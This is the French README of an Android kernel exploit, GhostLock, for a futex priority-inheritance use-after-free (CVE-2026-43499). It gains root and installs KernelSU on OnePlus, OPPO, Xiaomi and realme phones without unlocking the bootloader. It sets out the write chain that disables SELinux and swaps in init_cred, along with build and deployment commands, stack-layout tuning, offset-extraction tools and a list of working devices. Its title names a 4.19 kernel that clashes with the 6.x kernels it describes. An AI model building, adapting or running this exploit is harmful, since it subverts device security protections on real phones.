
Adaptateur GhostLock (CVE-2026-43499) pour le noyau Android 4.19.152-perf+
Exploit noyau pour les appareils OnePlus/OPPO/realme avec bootloader verrouillé. Obtient root + installation de KernelSU sans déverrouiller le bootloader ni modifier l'image de boot. Détection automatique au runtime de la version du noyau avec table d'offsets multi-appareils.
CVE-2026-43499 — Use-After-Free Futex PI (héritage de priorité)
Affecte le noyau Linux de 2.6.39 à 7.1. Corrigé dans mainline 7.1 (commit 3bfdc63936dd). Android GKI 6.12.x reste vulnérable.
L'appel système pselect6 copie les données fd_set sur la pile du noyau. Combiné au mécanisme de waiter futex PI, une frame de pile libérée peut être réutilisée comme structure rt_mutex_waiter. Le rééquilibrage de l'arbre rb pendant le parcours de la chaîne PI écrit ensuite des valeurs contrôlées à des adresses noyau arbitraires.
| Appareil | SoC | Noyau | Notes |
|---|---|---|---|
| OnePlus 15T (PLZ110) | SM8845 | 6.12.38-...-ab14552068 | Même noyau que l'Ace 6T. SP diff=-64 vérifiée via QEMU. |
L'overlay de pile pselect ne fonctionne que lorsque le rt_mutex_waiter libéré atterrit dans la région contrôlable par l'utilisateur du buffer stack_fds. L'endroit où atterrit le waiter est déterminé par la sortie du compilateur (PGO + LTO), pas par la version du noyau. Voir Configuration de pile pour plus de détails.
Deux chemins de root, sélectionnés automatiquement en fonction des capacités de l'appareil :
Nécessite off_ashmem_misc_fops != 0 (ashmem C avec miscdevice statique dans BSS).
PI write (mode=4) → redirect miscdevice fops to fake fops (via W0 pi_tree)
configfs r/w established
→ pipe physrw (1-byte precise kernel r/w)
→ SELinux enforcing = 0 (single byte, no policycap corruption)
→ UMH: inject work_struct into system_unbound_wq
kernel executes /data/local/tmp/a/e --umh as UID 0
→ root script → ksud late-load → KSU installed
Avantages par rapport au chemin B :
selinux_state.policycap (corrige les problèmes réseau sur OnePlus 13)Actuellement disponible sur : OnePlus 13 (noyau 6.6, ashmem C). Non disponible sur les appareils ashmem Rust (6.12 GKI) — le miscdevice est alloué sur le tas, l'adresse n'est pas prédictible au moment de la compilation.
Utilisé lorsque les offsets UMH ou les misc_fops ashmem C ne sont pas disponibles.
Write 1 (mode=1) → SELinux enforcing = 0
(low byte of kernel ptr = 0x00, 8-byte write)
Write 2 (mode=2) → task->cred = init_cred
(uid=0, all capabilities)
Root shell → ksud late-load (KernelSU LKM)
→ su -c load_policy (fix SELinux policycap)
→ dynamic manager registration
App (seccomp) → Write 1 (no perf needed)
→ mini-adb connect TCP (port from /data/local/tmp/a/adb_port, default 5555)
→ adb shell: full exploit (perf works, no seccomp)
→ root → KSU → network fix
BOOT_COMPLETED → BootCompletedReceiver
├─ su available → skip (soft reboot / already rooted)
└─ no root → GhostlockService → setsid exploit --bootstrap
Avec NFDS=320, core_sys_select du noyau alloue un buffer stack_fds de 256 octets :
stack_fds: 0 5 10 14 | 15 20 25 29
├─in─┤─out─┤─ex──┤ ├res_in┤res_out┤res_ex┤
◄── USER CONTROLLED ──►│◄── KERNEL ZEROED ──►
L'exploit écrit des champs de waiter factices (task, lock) dans les bitmaps d'entrée fd_set. Pour que cela fonctionne, les champs task et lock du waiter doivent se trouver dans la zone contrôlable (words 0-14).
Ace 6T ✅ (waiter at word 2):
░░████████████████░░│░░░░░░░░░░░░░░░░░░
▲waiter t l │
task/lock controllable
RMX5070 ❌ (waiter at word 13):
░░░░░░░░░░░░░████│██████████████░░░░░░
▲ │ t l
waiter task/lock ZEROED
Règle de faisabilité : word du waiter + 11 (offset de lock dans rt_waiter_node) doit être ≤ 14. Le word de waiter maximal réalisable est 3.
La position du waiter est déterminée par la disposition des frames de pile du compilateur (profils d'optimisation PGO + LTO + BOLT), qui varie selon la branche SoC. Une même version de noyau peut avoir des dispositions différentes sur des SoC différents.
Toutes les écritures noyau passent par l'alias de mappage linéaire de l'image :
data_addr(x) = PAGE_OFFSET + (kernel_phys_load - PHYS_OFFSET) + (x - KIMAGE_TEXT_BASE)
Le bootloader choisit kernel_phys_load, donc il varie selon le SoC et ne se trouve ni dans boot.img ni dans le DT. Champ par appareil dans struct kernel_offsets ; 0 = utiliser la valeur par défaut de target.h.
| SoC | kernel_phys_load |
|---|---|
| SM8845 (Ace 6T, 15T) | 0xa8000000 |
| SM8750 (OnePlus 13, OPPO Pad 4 Pro) | 0xa8000000 |
| SM8850 (OnePlus 15, Xiaomi 17) | 0xc7800000 |
Une mauvaise valeur échoue silencieusement — l'écriture atterrit quand même dans la RAM mappée, donc aucun crash ni aucun effet. Ne la confondez pas avec un problème de PSELECT_SHIFT. Lisez-la sur un appareil rooté du même modèle (Kernel code commence à _stext ; _text est 0x10000 plus bas) :
su -c 'grep -i "Kernel code" /proc/iomem' # c7810000-... -> 0xc7800000
Différents noyaux placent le waiter à différentes positions dans la zone contrôlable. Utilisez PSELECT_SHIFT pour ajuster :
# Default (Ace 6T + OnePlus 15, 6.12): shift=0
/data/local/tmp/a/e
# OnePlus 13 (6.6): shift=-2
PSELECT_SHIFT=-2 /data/local/tmp/a/e
# Override kernel_phys_load for new SoCs (when /proc/iomem is not accessible):
KPHYS=0xc7800000 /data/local/tmp/a/e
Le word de waiter de check_feasibility.py n'est pas fiable : son arithmétique de frames est correcte, mais les offsets de struct qu'il déduit des zero-stores ne le sont pas (sur OnePlus 15 il donne word 3 ; mesuré, c'est word 2). Un mauvais shift coûte un kernel panic par essai, alors mesurez-le sur un appareil rooté à la place :
echo 'p:ds do_select fdsin=+0(%x1)' >> /sys/kernel/tracing/kprobe_events
echo 'p:rw rt_mutex_wait_proxy_lock waiter=%x2' >> /sys/kernel/tracing/kprobe_events
# trigger FUTEX_CMP_REQUEUE_PI, then:
# PSELECT_SHIFT = ((waiter & 0x3fff) - (fdsin & 0x3fff)) / 8 - 2
NDK=/path/to/android-ndk
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
-O2 -Wall -Isrc/core -Isrc/devices -DTARGET_CONFIG_H="target.h" \
src/core/main.c src/core/util.c src/core/slide.c \
src/core/fops.c src/core/pipe_physrw.c src/core/root.c \
src/core/miniadb.c src/core/umh_root.c \
-o ghostlock -fPIE -pie -pthread
GhostLock fournit uniquement le root. L'installation de KernelSU dépend de ksud — un binaire qui contient des modules kernelsu.ko intégrés pour chaque version KMI. Le script root trouve ksud sur l'appareil et appelle ksud late-load --kmi android16-6.12.
Sans ksud, l'exploit obtient le root (uid=0) mais KSU ne sera pas installé et
sune persistera pas.
# Enable ADB TCP (use any port)
adb tcpip 5555
# Push exploit binary and ADB key
adb push ghostlock /data/local/tmp/a/e && adb shell chmod 755 /data/local/tmp/a/e
adb push ~/.android/adbkey /data/local/tmp/a/adbkey
# If using a non-default ADB port (e.g. 23946):
adb shell "echo 23946 > /data/local/tmp/a/adb_port"
Après le premier jailbreak réussi, persist.adb.tcp.port est défini via resetprop — les démarrages suivants sont entièrement automatiques.
/data/local/tmp/a/e # Full exploit (adb shell)
/data/local/tmp/a/e --bootstrap # Phone standalone (app context)
/data/local/tmp/a/e --write1 # SELinux disable only
PSELECT_SHIFT=-2 /data/local/tmp/a/e # Override stack layout shift
Important : lancez dans les 30 secondes suivant le démarrage pour une fiabilité optimale du timing de KernelSnitch.
Seul boot.img est nécessaire — pas de root, aucun accès à l'appareil requis.
# 1. Extract kernel
python -c "import struct; d=open('boot.img','rb').read(); open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"
# 2. Global symbols (kallsyms)
python tools/extract_target.py # 28 offsets, auto-validated
# 3. Struct fields (BTF)
python tools/extract_btf.py kernel # 57 offsets, auto-validated
# 4. Add to offsets.h, rebuild
Le cœur de l'exploit est indépendant de l'appareil. L'adaptation peut nécessiter :
VA_BITS différents (48 vs 39) → mettre à jour la disposition mémoire de target.hkernel_phys_load différent → lire depuis /proc/iomem ou utiliser la variable d'environnement KPHYS=common.hPSELECT_SHIFT différent → déterminer via le test kprobe QEMUSTRUCT_OFFSETS_6_6 ou STRUCT_OFFSETS_6_12 dans l'entrée de l'appareilLe chemin de root UMH (call_usermodehelper) nécessite :
off_system_unbound_wq et off_call_usermodehelper_exec_work depuis kallsymsoff_ashmem_misc_fops = ashmem_misc + 0x10 (ashmem C uniquement, miscdevice.fops dans BSS)Uniquement à des fins de recherche en sécurité autorisée et d'éducation.
| Appareil | SoC | Noyau | Statut |
|---|
| OnePlus Ace 6T (PLR110) | SM8845 | 6.12.38-...-ab14275539 | Fonctionne |
| OnePlus Ace 6T (PLR110) | SM8845 | 6.12.38-...-ab14552068 | Fonctionne |
| OnePlus 15 (CPH2749) | SM8850 | 6.12.23-...-ab14541642 | Fonctionne |
| Xiaomi 17 (pudding) | SM8850 | 6.12.23-...-abogki463945075 | Fonctionne |
| Xiaomi 17 (pudding) | SM8850 | 6.12.69-...-abogki514973465 | Fonctionne (mise à jour d'août 2026) |
| OnePlus 13 (IN2060) | SM8750 | 6.6.89-...-abogki446052083 | Fonctionne (PSELECT_SHIFT=-2) |
| OPPO Pad 4 Pro | SM8750 | 6.6.89-...-ab14358676 | Fonctionne (PSELECT_SHIFT=-2) |
| Appareil | SoC | Noyau | Raison |
|---|
| OPPO Find X9 Ultra | SM8750 | 6.12.58-android16-6 | PGO élimine la frame do_futex → SP diff=+32, waiter word=14. Aucun shift sûr n'existe. |
| OPPO Find X7 | — | 6.1.157 | 6.1 GKI : waiter au word 13 (tous les appareils 6.1 OPLUS/GKI) |
| realme RMX5070 | SM6650 | 6.1.141 | 6.1 GKI : waiter au word 13 |
| realme RMX3852 | SM8635 | 6.1.141 | Même branche 6.1 que le RMX5070 |
| OnePlus 13R / Ace 5 | SM8650 | 6.1.x | Même branche 6.1 |
| OnePlus 12 | SM8650 | 6.1.141 | 6.1 GKI : do_futex inliné par PGO, waiter word=13/19 |
| OPPO Pad 5 (OPD2502) | MT6878 | 6.1.134 | Même branche 6.1 |
| OPPO PKW110 | — | 5.15.180 | Frame do_futex de 0x140 (4,5× la normale) → waiter word=-29, inaccessible |
| Motorola Edge 60 Fusion | MT6878 | 6.1.145 | 6.1 GKI : waiter au word 13 (non-OPLUS, même résultat) |
| iQOO Z9 5G | — | 5.15.178 | Frame do_futex trop grande, waiter inaccessible. Pas un appareil OPLUS (vivo). |
| Méthode |
|---|
| Étapes |
|---|
| APK ReSukiSU (recommandé) | Installez ReSukiSU ou ce fork. La version officielle inclut libksud.so. |
| Version CI | Téléchargez ksud-aarch64-linux-android.zip depuis ReSukiSU CI |
| Source | Nombre | Méthode |
|---|
| kallsyms (symboles globaux) | 28 | extract_target.py |
| BTF (champs de struct) | 57 | extract_btf.py |
| Dérivés (même struct, usage différent) | 9 | Automatique |
| Constantes (valeurs fixes) | 12 | Aucune extraction nécessaire |
| Fichier | Description |
|---|
src/core/main.c | Point d'entrée de l'exploit, Write 1/2, chemin UMH, bootstrap, script root |
src/core/fops.c | Routage pselect, mécanisme d'écriture PI, étape CFI |
src/core/util.c | Heap spray, kernelsnitch, slab drain, configuration du payload |
src/core/pipe_physrw.c | Lecture/écriture mémoire physique basée sur les buffers de pipe (améliore la r/w configfs) |
src/core/umh_root.c | Root UMH via injection workqueue + gestionnaire --umh |
src/core/miniadb.c | Client ADB mini (TCP + auth RSA) |
src/core/common.h | Paramètres de timing, macros |
src/core/target.h | Disposition mémoire, valeurs par défaut des champs de struct (6.12) |
src/core/runtime_struct_offsets.h | Remplacement des champs de struct par appareil (6.6 vs 6.12) |
src/devices/offsets.h | Regroupe toutes les tables d'offsets des appareils + macros STRUCT_OFFSETS_* |
src/devices/<device>/offsets.h | Entrées d'offsets noyau par appareil |
src/core/slide.c | Fuite d'adresse noyau SLIDE |
src/core/root.c | Configuration du shell root (patch direct des creds via pipe physrw) |
tools/extract_target.py | Extraction d'offsets depuis kallsyms |
tools/extract_btf.py | Extraction d'offsets de struct depuis BTF |
tools/check_feasibility.py | Vérificateur de faisabilité de la configuration de pile |